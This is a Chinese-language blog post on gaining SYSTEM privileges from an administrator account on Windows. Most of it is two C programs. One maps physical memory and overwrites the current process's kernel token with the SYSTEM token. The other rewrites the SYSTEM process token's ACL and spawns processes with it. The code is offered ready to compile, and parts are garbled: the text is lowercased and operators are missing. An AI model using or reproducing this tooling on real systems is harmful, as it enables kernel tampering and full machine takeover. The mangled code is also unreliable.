上一篇:即时通讯安全问题大曝光 >>
管理员组获取系统权限的完美解决方案
小四哥就提到了一些:"msdn系列(3)--administrator用户直接获取system权限"和"远程线程注入版获取system权限".
这里,我先踩在前辈的肩上列一些可行的方法:
1. "利用zwcreatetoken()自己创建一个system令牌(token)"
2. hook掉创建进程的函数zwcreateprocess(ex),用winlogon id 创建
3. 远线程插入,插入线程到系统进程,创建一新进程
这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:
4. 将程序做成服务,带参数运行新进程
做为服务来讲就是system了,再创建的进程也是system权限.
当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.
这里,我拿出两种新的方案来实现该功能:
第一种方法.我们先来看一下系统是如何进行权限检测的,
举个例子,在调用了openprocesstoken,我们知道会进行权限的验证:
openprocesstoken->ntopenprocesstoken->psopentokenofprocess->psreferenceprimarytoken->找到这一句token = process->token;
->obopenobjectbypointer调用上面返回的token进行检查
也就是说,系统在检测权限时仅仅通过从进程的eprocess结构种拿出token项进行操作.因此我们不需要继续往obopenobjectbypointer里面跟进了。
思路已经很明显:直接将system进程的token拿过来,放到我们进程的token位置。那么系统就认为我们是system权限.
而这时我们的进程创建的子进程也就是system权限了。(以上分析过程请参考windows源代码...^_^)
实现代码:
===========================================================================================================
#include<windows.h>
#include<stdio.h>
#include<accctrl.h>
#include<aclapi.h>
#define token_offset 0xc8 //in windows 2003, it's 0xc8, if others' version, change it
#define nt_success(status)((ntstatus)(status) >= 0)
#define status_info_length_mismatch((ntstatus)0xc0000004l)
#define status_access_denied ((ntstatus)0xc0000022l)
typedef longntstatus;
typedef struct _io_status_block
{
ntstatusstatus;
ulonginformation;
} io_status_block, *pio_status_block;
typedef struct _unicode_string
{
ushortlength;
ushortmaximumlength;
pwstrbuffer;
} unicode_string, *punicode_string;
#define obj_inherit 0x00000002l
#define obj_permanent 0x00000010l
#define obj_exclusive 0x00000020l
#define obj_case_insensitive0x00000040l
#define obj_openif0x00000080l
#define obj_openlink0x00000100l
#define obj_kernel_handle 0x00000200l
#define obj_valid_attributes0x000003f2l
typedef struct _object_attributes
{
ulonglength;
handlerootdirectory;
punicode_string objectname;
ulongattributes;
pvoidsecuritydescriptor;
pvoidsecurityqualityofservice;
} object_attributes, *pobject_attributes;
typedef struct _system_module_information
{
ulong reserved[2];
pvoid base;
ulong size;
ulong flags;
ushort index;
ushort unknown;
ushort loadcount;
ushort modulenameoffset;
char imagename[256];
} system_module_information, *psystem_module_information;
typedef enum _system_information_class
{
systembasicinformation,
systemprocessorinformation,
systemperformanceinformation,
systemtimeofdayinformation,
systemnotimplemented1,
systemprocessesandthreadsinformation,
systemcallcounts,
systemconfigurationinformation,
systemprocessortimes,
systemglobalflag,
systemnotimplemented2,
systemmoduleinformation,
systemlockinformation,
systemnotimplemented3,
systemnotimplemented4,
systemnotimplemented5,
systemhandleinformation,
systemobjectinformation,
systempagefileinformation,
systeminstructionemulationcounts,
systeminvalidinfoclass1,
systemcacheinformation,
systempooltaginformation,
systemprocessorstatistics,
systemdpcinformation,
systemnotimplemented6,
systemloadimage,
systemunloadimage,
systemtimeadjustment,
systemnotimplemented7,
systemnotimplemented8,
systemnotimplemented9,
systemcrashdumpinformation,
systemexceptioninformation,
systemcrashdumpstateinformation,
systemkerneldebuggerinformation,
systemcontextswitchinformation,
systemregistryquotainformation,
systemloadandcallimage,
systempriorityseparation,
systemnotimplemented10,
systemnotimplemented11,
systeminvalidinfoclass2,
systeminvalidinfoclass3,
systemtimezoneinformation,
systemlookasideinformation,
systemsettimeslipevent,
systemcreatesession,
systemdeletesession,
systeminvalidinfoclass4,
systemrangestartinformation,
systemverifierinformation,
systemaddverifier,
systemsessionprocessesinformation
} system_information_class;
typedef ntstatus ( __stdcall *zwquerysysteminformation )
(
in system_information_class systeminformationclass,
in out pvoid systeminformation,
in ulong systeminformationlength,
out pulong returnlength optional
);
typedef ntstatus (callback* zwopensection)(
out phandlesectionhandle,
inaccess_maskdesiredaccess,
inpobject_attributesobjectattributes
);
typedef void (callback* rtlinitunicodestring)(
in out punicode_stringdestinationstring,
in pcwstrsourcestring
);
typedef struct _system_handle_information
{
ulongprocessid;
ucharobjecttypenumber;
ucharflags;
ushorthandle;
pvoidobject;
access_maskgrantedaccess;
} system_handle_information, *psystem_handle_information;
rtlinitunicodestringrtlinitunicodestring;
zwopensectionzwopensection;
zwquerysysteminformationzwquerysysteminformation = null;
hmoduleg_hntdll = null;
pvoid g_pmapphysicalmemory = null;
handle g_hmpm = null;
bool initntdll()
{
g_hntdll = loadlibrary( "ntdll.dll" );
if ( !g_hntdll )
{
return false;
}
rtlinitunicodestring =
(rtlinitunicodestring)getprocaddress( g_hntdll, "rtlinitunicodestring");
zwopensection =
(zwopensection)getprocaddress( g_hntdll, "zwopensection");
zwquerysysteminformation =
( zwquerysysteminformation )getprocaddress( g_hntdll, "zwquerysysteminformation" );
zwquerysysteminformation =
( zwquerysysteminformation )getprocaddress( g_hntdll, "zwquerysysteminformation" );
return true;
}
void closentdll()
{
if(g_hntdll != null)
{
freelibrary(g_hntdll);
}
}
void setphyscialmemorysectioncanbewrited(handle hsection)
{
pacl pdacl=null;
pacl pnewdacl=null;
psecurity_descriptor psd=null;
dword dwres;
explicit_access ea;
if(dwres=getsecurityinfo(hsection,se_kernel_object,dacl_security_information,
null,null,&pdacl,null,&psd)!=error_success)
{
goto cleanup;
}
zeromemory(&ea, sizeof(explicit_access));
ea.grfaccesspermissions = section_map_write;
ea.grfaccessmode = grant_access;
ea.grfinheritance= no_inheritance;
ea.trustee.trusteeform = trustee_is_name;
ea.trustee.trusteetype = trustee_is_user;
ea.trustee.ptstrname = "current_user";
if(dwres=setentriesinacl(1,&ea,pdacl,&pnewdacl)!=error_success)
{
goto cleanup;
}
if(dwres=setsecurityinfo(hsection,se_kernel_object,dacl_security_information,null,null,pnewdacl,null)!=error_success)
{
goto cleanup;
}
cleanup:
if(psd)
localfree(psd);
if(pnewdacl)
localfree(pnewdacl);
}
handle openphysicalmemory()
{
ntstatusstatus;
unicode_stringphysmemstring;
object_attributesattributes;
rtlinitunicodestring( &physmemstring, l"\\device\\physicalmemory" );
attributes.length= sizeof(object_attributes);
attributes.rootdirectory= null;
attributes.objectname= &physmemstring;
attributes.attributes= 0;
attributes.securitydescriptor= null;
attributes.securityqualityofservice= null;
status = zwopensection(&g_hmpm,section_map_readsection_map_write,&attributes);
if(status == status_access_denied){
status = zwopensection(&g_hmpm,read_controlwrite_dac,&attributes);
setphyscialmemorysectioncanbewrited(g_hmpm);
closehandle(g_hmpm);
status =zwopensection(&g_hmpm,section_map_readsection_map_write,&attributes);
}
if( !nt_success( status ))
{
return null;
}
g_pmapphysicalmemory = mapviewoffile(
g_hmpm,
4,
0,
0x30000,
0x1000);
if( g_pmapphysicalmemory == null )
{
return null;
}
return g_hmpm;
}
pvoid lineartophys(pulong baseaddress,pvoid addr)
{
ulong vaddr=(ulong)addr,pgde,pte,paddr;
if(vaddr>=0x80000000 && vaddr<0xa0000000)
{
paddr=vaddr-0x80000000;
return (pvoid)paddr;
}
pgde=baseaddress[vaddr>>22];
if ((pgde&1)!=0)
{
ulong tmp=pgde&0x00000080;
if (tmp!=0)
{
paddr=(pgde&0xffc00000)+(vaddr&0x003fffff);
}
else
{
pgde=(ulong)mapviewoffile(g_hmpm, file_map_all_access, 0, pgde & 0xfffff000, 0x1000);
pte=((pulong)pgde)[(vaddr&0x003ff000)>>12];
if ((pte&1)!=0)
{
paddr=(pte&0xfffff000)+(vaddr&0x00000fff);
unmapviewoffile((pvoid)pgde);
}
else return 0;
}
}
else return 0;
return (pvoid)paddr;
}
ulong getdata(pvoid addr)
{
ulong phys=(ulong)lineartophys((pulong)g_pmapphysicalmemory,(pvoid)addr);
pulong tmp=(pulong)mapviewoffile(g_hmpm, 4, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return 0;
ulong ret=tmp[(phys & 0xfff)>>2];
unmapviewoffile(tmp);
return ret;
}
bool setdata(pvoid addr,ulong data)
{
ulong phys=(ulong)lineartophys((pulong)g_pmapphysicalmemory,(pvoid)addr);
pulong tmp=(pulong)mapviewoffile(g_hmpm, file_map_write, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return false;
tmp[(phys & 0xfff)>>2]=data;
unmapviewoffile(tmp);
return true;
}
dword mygetmodulebaseaddress( char * pmodulename)
{
psystem_module_informationpsysmodule;
ulongureturn;
ulongucount;
pcharpbuffer = null;
pcharpname= null;
ntstatusstatus;
uintui;
charszbuffer[10];
dwordpbaseaddress;
status = zwquerysysteminformation( systemmoduleinformation, szbuffer, 10, &ureturn );
pbuffer = ( pchar )malloc(ureturn);
if ( pbuffer )
{
status = zwquerysysteminformation( systemmoduleinformation, pbuffer, ureturn, &ureturn );
if( nt_success(status) )
{
ucount = ( ulong )*( ( ulong * )pbuffer );
psysmodule = ( psystem_module_information )( pbuffer + sizeof( ulong ) );
for ( ui = 0; ui < ucount; ui++ )
{
pname = strstr( psysmodule->imagename, pmodulename );
if( pname )
{
pbaseaddress = (dword)psysmodule->base;
free( pbuffer );
return pbaseaddress;
}
psysmodule ++;
}
}
free( pbuffer );
}
return null;
}
dword geteprocessfromid (dword pid)
{
ntstatus status;
pvoidbuf = null;
ulongsize= 1;
ulongnumofhandle = 0;
ulongi;
psystem_handle_informationh_info= null;
dwordn;
dwordretvalue=0;
buf=malloc(0x1000);
if(buf == null)
{
printf("malloc wrong\n");
return false;
}
status = zwquerysysteminformation( systemhandleinformation, buf, 0x1000, &n );
if(status_info_length_mismatch == status)
{
free(buf);
buf=malloc(n);
if(buf == null)
{
printf("malloc wrong\n");
return false;
}
status = zwquerysysteminformation( systemhandleinformation, buf, n, null);
}
else
{
printf("zwquerysysteminformation wrong\n");
return false;
}
numofhandle = *(ulong*)buf;
h_info = ( psystem_handle_information )((ulong)buf+4);
for(i = 0; i<numofhandle ;i++)
{
if( h_info[i].processid == pid &&( h_info[i].objecttypenumber == 5))
{
retvalue=(dword)(h_info[i].object);
break;
}
}
if ( buf != null )
{
free( buf );
}
return retvalue;
}
void usage(char *exe)
{
printf("usage : %s [exefile-h]\n");
}
int main(int argc, char **argv)
{
hmodule hdll;
dword tmp;
dword systemeprocess;
dword systemeprocesstokenvalue;
dword currenteprocess;
dword currenteprocesstokenvalue;
printf("\nit is intended to get system privilege from administrators group.\n");
printf("\tmade by zwell.\n");
printf("\tzwell@sohu.com.\n");
printf("\thttp://www.donews.net/zwell.\n");
printf("\ttype -h to get more information\n", argv[0]);
if( argc>=2)
{
if(
( (strcmp(argv[1],"-h")==0) && (argc==2))
(argc>2)
)
{
usage(argv[0]);
exit(-1);
}
}
if (!initntdll())
{
printf("initntdll wrong\n");
exit(-1);
}
if (openphysicalmemory()==0)
{
printf("openphysicalmemory wrong\n");
exit(-1);
}
hdll = loadlibrary("ntoskrnl.exe");
tmp = (dword)getprocaddress(hdll, "psinitialsystemprocess");
tmp=mygetmodulebaseaddress("ntoskrnl.exe")+(dword)tmp-(dword)hdll;
systemeprocess=getdata((pvoid)tmp);
tmp=systemeprocess+token_offset; //system's token address
systemeprocesstokenvalue=getdata((pvoid)tmp); //system's token
printf("system process token : 0x%08x\n", systemeprocesstokenvalue);
openprocess( process_all_access,false,getcurrentprocessid() );
currenteprocess = geteprocessfromid(getcurrentprocessid());
currenteprocesstokenvalue = getdata((pvoid)(currenteprocess+token_offset));
printf("current eprocess : %08x\n", currenteprocess);
printf("current process token : %08x\npress enter to continue...\n",
currenteprocesstokenvalue);
//getchar();
setdata((pvoid)(geteprocessfromid(getcurrentprocessid())+token_offset), systemeprocesstokenvalue);
printf("current process token : %08x\n",
getdata((pvoid)(geteprocessfromid(getcurrentprocessid())+token_offset)));
printf("press enter to create process...\n");
//getchar();
if( getdata((pvoid)(currenteprocess+token_offset))
== getdata((pvoid)(systemeprocess+token_offset))
)
// it is so surprised that system's token always in changing.
// so before create new process, we should ensure the token is all right
{
shellexecute(null, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", null, null, sw_shownormal);
}
unmapviewoffile(g_pmapphysicalmemory);
closehandle(g_hmpm);
closentdll();
return 0;
}
在上面的代码中,请将token_offset改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).
=========================================================================================================
第二种方法,我们不自己创建进程,而是直接用system进程的token来创建进程.看到这,大家可能又想到了远线程。
这里不是。我的思路是:配置好桌面(desktop),工作区间(windowstation)等信息,最后调用createprocessasuser来创建子进程。
用这种方法极为稳定。这里一些关于获取sid的代码可以看我前一段时间写的"一种新的穿透_blank">防火墙的数据传输技术".
下面是源代码,这段代码也实现了runas的功能,有兴趣可以研究一下,大部分都来自msdn:
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <accctrl.h>
#include <aclapi.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32")
handle opensystemprocess()
{
handle hsnapshot = null;
handle hproc = null;
__try
{
// get a snapshot of the processes in the system
hsnapshot = createtoolhelp32snapshot(th32cs_snapprocess, 0);
if (hsnapshot == null)
{
printf("opensystemprocess createtoolhelp32snapshot failed");
__leave;
}
processentry32 pe32;
pe32.dwsize = sizeof(pe32);
// find the "system" process
bool fprocess = process32first(hsnapshot, &pe32);
while (fprocess && (lstrcmpi(pe32.szexefile, text("system")) != 0))
fprocess = process32next(hsnapshot, &pe32);
if (!fprocess)
{
printf("opensystemprocess not found system");
__leave;// didn't find "system" process
}
// open the process with process_query_information access
hproc = openprocess(process_query_information, false,
pe32.th32processid);
if (hproc == null)
{
printf("opensystemprocess openprocess failed");
__leave;
}
}
__finally
{
// cleanup the snapshot
if (hsnapshot != null)
closehandle(hsnapshot);
return(hproc);
}
}
bool enableprivilege (pcstr name)
{
handle htoken;
bool rv;
token_privileges priv = { 1, {0, 0, se_privilege_enabled} };
lookupprivilegevalue (
0,
name,
&priv.privileges[0].luid
);
openprocesstoken(
getcurrentprocess (),
token_adjust_privileges,
&htoken
);
adjusttokenprivileges (
htoken,
false,
&priv,
sizeof priv,
0,
0
);
rv = getlasterror () == error_success;
closehandle (htoken);
return rv;
}
#define chdimof(array) (sizeof(array) / sizeof(array[0]))
bool modifysecurity(handle hproc, dword dwaccess)
{
pacl pacl= null;
pacl pnewacl = null;
pacl psacl = null;
psid psidowner = null;
psid psidprimary = null;
bool fsuccess= true;
psecurity_descriptor psd = null;
__try
{
// find the length of the security object for the kernel object
dword dwsdlength;
if (getkernelobjectsecurity(hproc, dacl_security_information, psd, 0,
&dwsdlength) (getlasterror() != error_insufficient_buffer))
{
printf("modifysecurity getkernelobjectsecurity size failed");
__leave;
}
// allocate a buffer of that length
psd = localalloc(lptr, dwsdlength);
if (psd == null)
{
printf("modifysecurity localalloc failed");
__leave;
}
// retrieve the kernel object
if (!getkernelobjectsecurity(hproc, dacl_security_information, psd,
dwsdlength, &dwsdlength))
{
printf("modifysecurity getkernelobjectsecurity failed");
__leave;
}
// get a pointer to the dacl of the sd
bool fdaclpresent;
bool fdacldefaulted;
if (!getsecuritydescriptordacl(psd, &fdaclpresent, &pacl,
&fdacldefaulted))
{
printf("modifysecurity getsecuritydescriptordacl failed");
__leave;
}
// get the current user's name
tchar szname[1024];
dword dwlen = chdimof(szname);
if (!getusername(szname, &dwlen))
{
printf("modifysecurity getusername failed");
__leave;
}
// build an explicit_access structure for the ace we wish to add.
explicit_access ea;
buildexplicitaccesswithname(&ea, szname, dwaccess, grant_access, 0);
ea.trustee.trusteetype = trustee_is_user;
// we are allocating a new acl with a new ace inserted.the new
// acl must be localfree'd
if(error_success != setentriesinacl(1, &ea, pacl, &pnewacl))
{
printf("modifysecurity setentriesinacl failed");
pnewacl = null;
__leave;
}
// find the buffer sizes we would need to make our sd absolute
pacl = null;
dwsdlength = 0;
dword dwaclsize= 0;
dword dwsaclsize = 0;
dword dwsidownlen= 0;
dword dwsidprimlen = 0;
psecurity_descriptor pabssd = null;
if(makeabsolutesd(psd, pabssd, &dwsdlength, pacl, &dwaclsize, psacl,
&dwsaclsize, psidowner, &dwsidownlen, psidprimary, &dwsidprimlen)
(getlasterror() != error_insufficient_buffer))
{
printf("modifysecurity makeabsolutesd size failed");
__leave;
}
// allocate the buffers
pacl = (pacl) localalloc(lptr, dwaclsize);
psacl = (pacl) localalloc(lptr, dwsaclsize);
psidowner = (psid) localalloc(lptr, dwsidownlen);
psidprimary = (psid) localalloc(lptr, dwsidprimlen);
pabssd = (psecurity_descriptor) localalloc(lptr, dwsdlength);
if(!(pacl && psacl && psidowner && psidprimary && pabssd))
{
printf("modifysecurity invalid sid found");
__leave;
}
// and actually make our sd absolute
if(!makeabsolutesd(psd, pabssd, &dwsdlength, pacl, &dwaclsize, psacl,
&dwsaclsize, psidowner, &dwsidownlen, psidprimary, &dwsidprimlen))
{
printf("modifysecurity makeabsolutesd failed");
__leave;
}
// now set the security descriptor dacl
if(!setsecuritydescriptordacl(pabssd, fdaclpresent, pnewacl,
fdacldefaulted))
{
printf("modifysecurity setsecuritydescriptordacl failed");
__leave;
}
// and set the security for the object
if(!setkernelobjectsecurity(hproc, dacl_security_information, pabssd))
{
printf("modifysecurity setkernelobjectsecurity failed");
__leave;
}
fsuccess = true;
}
__finally
{
// cleanup
if (pnewacl == null)
localfree(pnewacl);
if (psd == null)
localfree(psd);
if (pacl == null)
localfree(pacl);
if (psacl == null)
localfree(psacl);
if (psidowner == null)
localfree(psidowner);
if (psidprimary == null)
localfree(psidprimary);
if(!fsuccess)
{
printf("modifysecurity exception caught in __finally");
}
return(fsuccess);
}
}
handle getlsatoken()
{
handle hproc= null;
handle htoken = null;
bool bsuccess = false;
__try
{
// enable the se_debug_name privilege in our process token
if (!enableprivilege(se_debug_name))
{
printf("getlsatoken enableprivilege failed");
__leave;
}
// retrieve a handle to the "system" process
hproc = opensystemprocess();
if(hproc == null)
{
printf("getlsatoken opensystemprocess failed");
__leave;
}
// open the process token with read_control and write_dac access.we
// will use this access to modify the security of the token so that we
// retrieve it again with a more complete set of rights.
bool fresult = openprocesstoken(hproc, read_control write_dac,
&htoken);
if(false == fresult)
{
printf("getlsatoken openprocesstoken failed");
__leave;
}
// add an ace for the current user for the token.this ace will add
// token_duplicate token_assign_primary token_query rights.
if (!modifysecurity(htoken, token_duplicate token_assign_primary
token_query token_adjust_sessionid))
{
printf("getlsatoken modifysecurity failed");
__leave;
}
// reopen the process token now that we have added the rights to
// query the token, duplicate it, and assign it.
fresult = openprocesstoken(hproc, token_query token_duplicate
&nb, sp; token_assign_primary read_control write_dac, &htoken);
if (false == fresult)
{
printf("getlsatoken openprocesstoken failed");
__leave;
}
bsuccess = true;
}
__finally
{
// close the system process handle
if (hproc != null)closehandle(hproc);
if(bsuccess)
return htoken;
else
{
::closehandle(htoken);
return null;
}
}
}
#define desktop_all (desktop_readobjects desktop_createwindow desktop_createmenu desktop_hookcontrol \
desktop_journalrecord desktop_journalplayback \
desktop_enumerate desktop_writeobjects \
desktop_switchdesktop standard_rights_required)
#define winsta_all (winsta_enumdesktops winsta_readattributes \
winsta_accessclipboard winsta_createdesktop \
winsta_writeattributes winsta_accessglobalatoms \
winsta_exitwindows winsta_enumerate \
winsta_readscreen \
standard_rights_required)
#define generic_access (generic_read generic_write generic_execute generic_all)
bool addacetowindowstation(hwinsta hwinsta, psid psid);
bool addacetodesktop(hdesk hdesk, psid psid);
bool getlogonsid(handle htoken, psid *ppsid)
{
pwts_process_info pprocessinfo = null;
dword processcount = 0;
boolret=false;
if (wtsenumerateprocesses(wts_current_server_handle, 0, 1, &pprocessinfo, &processcount))
{
// dump each process description
for (dword currentprocess = 0; currentprocess < processcount; currentprocess++)
{
if( strcmp(pprocessinfo[currentprocess].pprocessname, "system") == 0 )
{
//*ppsid = pprocessinfo[currentprocess].pusersid;
dword dwlength = getlengthsid(pprocessinfo[currentprocess].pusersid);
*ppsid = (psid) heapalloc(getprocessheap(),
heap_zero_memory, dwlength);
if (*ppsid == null)
break;
if (!copysid(dwlength, *ppsid, pprocessinfo[currentprocess].pusersid))
{
heapfree(getprocessheap(), 0, (lpvoid)*ppsid);
break;
}
ret=true;
break;
}
}
wtsfreememory(pprocessinfo);
}
return ret;
}
bool getlogonsid_1 (handle htoken, psid *ppsid)
{
bool bsuccess = false;
dword dwindex;
dword dwlength = 0;
ptoken_groups ptg = null;
// verify the parameter passed in is not null.
if (null == ppsid)
goto cleanup;
// get required buffer size and allocate the token_groups buffer.
if (!gettokeninformation(
htoken, // handle to the access token
tokengroups,// get information about the token's groups
(lpvoid) ptg, // pointer to token_groups buffer
0,// size of buffer
&dwlength // receives required buffer size
))
{
if (getlasterror() != error_insufficient_buffer)
goto cleanup;
ptg = (ptoken_groups)heapalloc(getprocessheap(),
heap_zero_memory, dwlength);
if (ptg == null)
goto cleanup;
}
// get the token group information from the access token.
if (!gettokeninformation(
htoken, // handle to the access token
tokengroups,// get information about the token's groups
(lpvoid) ptg, // pointer to token_groups buffer
dwlength, // size of buffer
&dwlength // receives required buffer size
))
{
goto cleanup;
}
// loop through the groups to find the logon sid.
for (dwindex = 0; dwindex < ptg->groupcount; dwindex++)
if ((ptg->groups[dwindex].attributes & se_group_logon_id)
==se_group_logon_id)
{
// found the logon sid; make a copy of it.
dwlength = getlengthsid(ptg->groups[dwindex].sid);
*ppsid = (psid) heapalloc(getprocessheap(),
heap_zero_memory, dwlength);
if (*ppsid == null)
goto cleanup;
if (!copysid(dwlength, *ppsid, ptg->groups[dwindex].sid))
{
heapfree(getprocessheap(), 0, (lpvoid)*ppsid);
goto cleanup;
}
break;
}
bsuccess = true;
cleanup:
// free the buffer for the token groups.
if (ptg != null)
heapfree(getprocessheap(), 0, (lpvoid)ptg);
return bsuccess;
}
void freelogonsid (psid *ppsid)
{
heapfree(getprocessheap(), 0, (lpvoid)*ppsid);
}
bool startinteractiveclientprocess (
lptstr lpszusername,// client to log on
lptstr lpszdomain,// domain of client's account
lptstr lpszpassword,// client's password
lptstr lpcommandline,// command line to execute
handle token = null
)
{
handlehtoken;
hdesk hdesk = null;
hwinsta hwinsta = null, hwinstasave = null;
process_information pi;
psid psid = null;
startupinfo si;
bool bresult = false;
// log the client on to the local computer.
if(token!=null)
{
printf("%08x\n", token);
htoken = token;
}
else if (!logonuser(
lpszusername,
lpszdomain,
lpszpassword,
logon32_logon_interactive,
logon32_provider_default,
&htoken) )
{
goto cleanup;
}
// save a handle to the caller's current window station.
if ( (hwinstasave = getprocesswindowstation() ) == null)
goto cleanup;
// get a handle to the interactive window station.
hwinsta = openwindowstation(
"winsta0", // the interactive window station
false, // handle is not inheritable
read_control write_dac); // rights to read/write the dacl
if (hwinsta == null)
goto cleanup;
// to get the correct default desktop, set the caller's
// window station to the interactive window station.
if (!setprocesswindowstation(hwinsta))
goto cleanup;
// get a handle to the interactive desktop.
hdesk = opendesktop(
"default", // the interactive window station
0, // no interaction with other desktop processes
false, // handle is not inheritable
read_control // request the rights to read and write the dacl
write_dac
desktop_writeobjects
desktop_readobjects);
// restore the caller's window station.
if (!setprocesswindowstation(hwinstasave))
goto cleanup;
if (hdesk == null)
goto cleanup;
// get the sid for the client's logon session.
if (!getlogonsid(htoken, &psid))
goto cleanup;
// allow logon sid full access to interactive window station.
if (! addacetowindowstation(hwinsta, psid) )
goto cleanup;
// allow logon sid full access to interactive desktop.
if (! addacetodesktop(hdesk, psid) )
goto cleanup;
// impersonate client to ensure access to executable file.
if (! impersonateloggedonuser(htoken) )
goto cleanup;
// initialize the startupinfo structure.
// specify that the process runs in the interactive desktop.
zeromemory(&si, sizeof(startupinfo));
si.cb= sizeof(startupinfo);
si.lpdesktop = text("winsta0\\default");//you can use enumwindowstations to enum desktop
// launch the process in the client's logon session.
bresult = createprocessasuser(
htoken,// client's access token
null,// file to execute
lpcommandline, // command line
null,// pointer to process security_attributes
null,// pointer to thread security_attributes
false, // handles are not inheritable
normal_priority_class create_new_console, // creation flags
null,// pointer to new environment block
null,// name of current directory
&si, // pointer to startupinfo structure
&pi// receives information about new process
);
// end impersonation of client.
reverttoself();
goto cleanup;
//return bresult; <------------------------------------------------------------------------
if (bresult && pi.hprocess != invalid_handle_value)
{
waitforsingleobject(pi.hprocess, infinite);
closehandle(pi.hprocess);
}
if (pi.hthread != invalid_handle_value)
closehandle(pi.hthread);
cleanup:
if (hwinstasave != null)
setprocesswindowstation (hwinstasave);
// free the buffer for the logon sid.
if (psid)
freelogonsid(&psid);
// close the handles to the interactive window station and desktop.
if (hwinsta)
closewindowstation(hwinsta);
if (hdesk)
closedesktop(hdesk);
// close the handle to the client's access token.
if (htoken != invalid_handle_value)
closehandle(htoken);
return bresult;
}
bool addacetowindowstation(hwinsta hwinsta, psid psid)
{
access_allowed_ace *pace;
acl_size_information aclsizeinfo;
bool bdaclexist;
bool bdaclpresent;
bool bsuccess = false;
dworddwnewaclsize;
dworddwsidsize = 0;
dworddwsdsizeneeded;
pacl pacl;
pacl pnewacl;
psecurity_descriptor psd = null;
psecurity_descriptor psdnew = null;
pvoidptempace;
security_information si = dacl_security_information;
unsigned int i;
__try
{
// obtain the dacl for the window station.
if (!getuserobjectsecurity(
hwinsta,
&si,
psd,
dwsidsize,
&dwsdsizeneeded)
)
if (getlasterror() == error_insufficient_buffer)
{
psd = (psecurity_descriptor)heapalloc(
getprocessheap(),
heap_zero_memory,
dwsdsizeneeded);
if (psd == null)
__leave;
psdnew = (psecurity_descriptor)heapalloc(
getprocessheap(),
heap_zero_memory,
dwsdsizeneeded);
if (psdnew == null)
__leave;
dwsidsize = dwsdsizeneeded;
if (!getuserobjectsecurity(
hwinsta,
&si,
psd,
dwsidsize,
&dwsdsizeneeded)
)
__leave;
}
else
__leave;
// create a new dacl.
if (!initializesecuritydescriptor(
psdnew,
security_descriptor_revision)
)
__leave;
// get the dacl from the security descriptor.
if (!getsecuritydescriptordacl(
psd,
&bdaclpresent,
&pacl,
&bdaclexist)
)
__leave;
// initialize the acl.
zeromemory(&aclsizeinfo, sizeof(acl_size_information));
aclsizeinfo.aclbytesinuse = sizeof(acl);
// call only if the dacl is not null.
if (pacl != null)
{
// get the file acl size info
if (!getaclinformation(
pacl,
(lpvoid)&aclsizeinfo,
sizeof(acl_size_information),
aclsizeinformation)
)
__leave;
}
// compute the size of the new acl.
dwnewaclsize = aclsizeinfo.aclbytesinuse + (2*sizeof(access_allowed_ace)) + (2*getlengthsid(psid)) - (2*sizeof(dword));
// allocate memory for the new acl.
pnewacl = (pacl)heapalloc(
getprocessheap(),
heap_zero_memory,
dwnewaclsize);
if (pnewacl == null)
__leave;
// initialize the new dacl.
if (!initializeacl(pnewacl, dwnewaclsize, acl_revision))
__leave;
// if dacl is present, copy it to a new dacl.
if (bdaclpresent)
{
// copy the aces to the new acl.
if (aclsizeinfo.acecount)
{
for (i=0; i < aclsizeinfo.acecount; i++)
{
// get an ace.
if (!getace(pacl, i, &ptempace))
__leave;
// add the ace to the new acl.
if (!addace(
pnewacl,
acl_revision,
maxdword,
ptempace,
((pace_header)ptempace)->acesize)
)
__leave;
}
}
}
// add the first ace to the window station.
pace = (access_allowed_ace *)heapalloc(
getprocessheap(),
heap_zero_memory,
sizeof(access_allowed_ace) + getlengthsid(psid) -
sizeof(dword));
if (pace == null)
__leave;
pace->header.acetype= access_allowed_ace_type;
pace->header.aceflags = container_inherit_ace
inherit_only_ace object_inherit_ace;
pace->header.acesize= sizeof(access_allowed_ace) +
getlengthsid(psid) - sizeof(dword);
pace->mask= generic_access;
if (!copysid(getlengthsid(psid), &pace->sidstart, psid))
__leave;
if (!addace(
pnewacl,
acl_revision,
maxdword,
(lpvoid)pace,
pace->header.acesize)
)
__leave;
// add the second ace to the window station.
pace->header.aceflags = no_propagate_inherit_ace;
pace->mask= winsta_all;
if (!addace(
pnewacl,
acl_revision,
maxdword,
(lpvoid)pace,
pace->header.acesize)
)
__leave;
// set a new dacl for the security descriptor.
if (!setsecuritydescriptordacl(
psdnew,
true,
pnewacl,
false)
)
__leave;
// set the new security descriptor for the window station.
if (!setuserobjectsecurity(hwinsta, &si, psdnew))
__leave;
// indicate success.
bsuccess = true;
}
__finally
{
// free the allocated buffers.
if (pace != null)
heapfree(getprocessheap(), 0, (lpvoid)pace);
if (pnewacl != null)
heapfree(getprocessheap(), 0, (lpvoid)pnewacl);
if (psd != null)
heapfree(getprocessheap(), 0, (lpvoid)psd);
if (psdnew != null)
heapfree(getprocessheap(), 0, (lpvoid)psdnew);
}
return bsuccess;
}
bool addacetodesktop(hdesk hdesk, psid psid)
{
acl_size_information aclsizeinfo;
bool bdaclexist;
bool bdaclpresent;
bool bsuccess = false;
dworddwnewaclsize;
dworddwsidsize = 0;
dworddwsdsizeneeded;
pacl pacl;
pacl pnewacl;
psecurity_descriptor psd = null;
psecurity_descriptor psdnew = null;
pvoidptempace;
security_information si = dacl_security_information;
unsigned int i;
__try
{
// obtain the security descriptor for the desktop object.
if (!getuserobjectsecurity(
hdesk,
&si,
psd,
dwsidsize,
&dwsdsizeneeded))
{
if (getlasterror() == error_insufficient_buffer)
{
psd = (psecurity_descriptor)heapalloc(
getprocessheap(),
heap_zero_memory,
dwsdsizeneeded );
if (psd == null)
__leave;
psdnew = (psecurity_descriptor)heapalloc(
getprocessheap(),
heap_zero_memory,
dwsdsizeneeded);
if (psdnew == null)
__leave;
dwsidsize = dwsdsizeneeded;
if (!getuserobjectsecurity(
hdesk,
&si,
psd,
dwsidsize,
&dwsdsizeneeded)
)
__leave;
}
else
__leave;
}
// create a new security descriptor.
if (!initializesecuritydescriptor(
psdnew,
security_descriptor_revision)
)
__leave;
// obtain the dacl from the security descriptor.
